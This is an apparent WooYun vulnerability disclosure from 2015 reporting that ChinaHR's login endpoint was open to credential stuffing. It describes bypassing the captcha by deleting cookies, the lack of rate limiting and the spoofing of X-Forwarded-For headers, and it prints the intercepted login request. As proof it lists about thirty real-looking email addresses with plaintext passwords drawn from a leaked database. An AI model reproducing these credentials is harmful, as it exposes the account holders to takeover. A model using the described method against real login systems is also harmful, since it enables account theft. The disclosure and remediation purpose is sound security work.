当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0110996

漏洞标题：中华英才网某接口撞库泄露用户登录凭据之二(有批量账号证明)

相关厂商：中华英才网

漏洞作者： 路人甲

提交时间：2015-04-29 19:07

修复时间：2015-06-11 20:48

公开时间：2015-06-11 20:48

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：18

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-29： 细节已通知厂商并且等待厂商处理中
2015-04-30： 厂商已经确认，细节仅向厂商公开
2015-05-10： 细节向核心白帽子及相关领域专家公开
2015-05-20： 细节向普通白帽子公开
2015-05-30： 细节向实习白帽子公开
2015-06-11： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

撞库扫号攻击已经是Top 10 Security Risks for 2014之一.撞库以大量的用户数据为基础，利用用户相同的注册习惯（相同的用户名和密码），尝试登陆其它的网站。2011年，互联网泄密事件引爆了整个信息安全界，导致传统的用户+密码认证的方式已无法满足现有安全需求。泄露数据包括：天涯：31,758,468条，CSDN：6,428,559条，微博：4,442,915条，人人网：4,445,047条，猫扑：2,644,726条，178：9,072,819条，嘟嘟牛：13,891,418条，7K7K：18,282,404条，共1.2亿条。不管你的网站密码保护的多好，但是面对已经泄露的账号密码，撞库扫号防御还是一个相当重要的环节。

详细说明：

主站登录接口没有防御撞库。验证码可以通过删除cookie的方式绕过。对登录接口的调用没有进行限制。经过测试发现，使用某泄露数据库可以碰撞获得大量有效的登录账号。 测试的时候还随机了x-forward-for header。 登录接口抓包如下：

POST /modules/jsperson/login_ajax.php?noblock=1 HTTP/1.1
Host: www.chinahr.com
Proxy-Connection: keep-alive
Content-Length: 92
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.chinahr.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.chinahr.com/modules/jsperson/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: 
RA-Ver: 2.10.0
RA-Sid: 7B9DD012-20150303-080129-82895f-fb68a9
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3
uname=§513072290@qq.com§&password=§z1989111011111§&http_referer=&action=login&typeid=&remember=1


漏洞证明：

经过测试发现，使用某泄露数据库可以碰撞获得大量有效的登录账号.

sy_ming@163.com	26560280
djm_19821127@163.com	19821127
273132705@qq.com	636389king
317329683@qq.com	19851117
147324943@qq.com	sofa2008
529076672@qq.com	hang852079
utempfwcw@126.com	utempfiwcw
pilipaca@126.com	85798579
312358502@qq.com	192837465
zwc722@126.com	19870722124
373603114@qq.com	123456789
775687052@qq.com	4408821988
12668975@qq.com	chuanqicn
wutiantai@126.com	32201937
zongc1989@163.com	dick19890725
shengri19880515@126.com	shengri19880515
513072290@qq.com	z19891110
423217211@qq.com	4781944227
wmcatmao@126.com	wm100086
310014456@qq.com	q123o3o3o4o50
hf0515@163.com	cool1980
329892965@qq.com	329892965
li79135790@163.com	3141596246
sun258107891@126.com	13608685671
zjj88@yeah.net	12251225
qqsnail520@126.com	58791407
dgnelf@163.com	nishiwo20
408634526@qq.com	1318641124
807540766@qq.com	z19871127
xingyanwen@sina.com	xingyanwen20


屏幕快照 2015-04-29 上午9.14.37.png


屏幕快照 2015-04-29 上午9.13.47.png


修复方案：

撞库防御参考资料:http://stayliv3.github.io/2015/04/15/%E6%92%9E%E5%BA%93%E6%94%BB%E5%87%BB%E9%98%B2%E5%BE%A1%E6%96%B9%E6%A1%88/

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-04-30 13:17

厂商回复：

感谢您的关注，我们会尽快修复，谢谢

最新状态：

2015-06-11：漏洞已修复，感谢帮助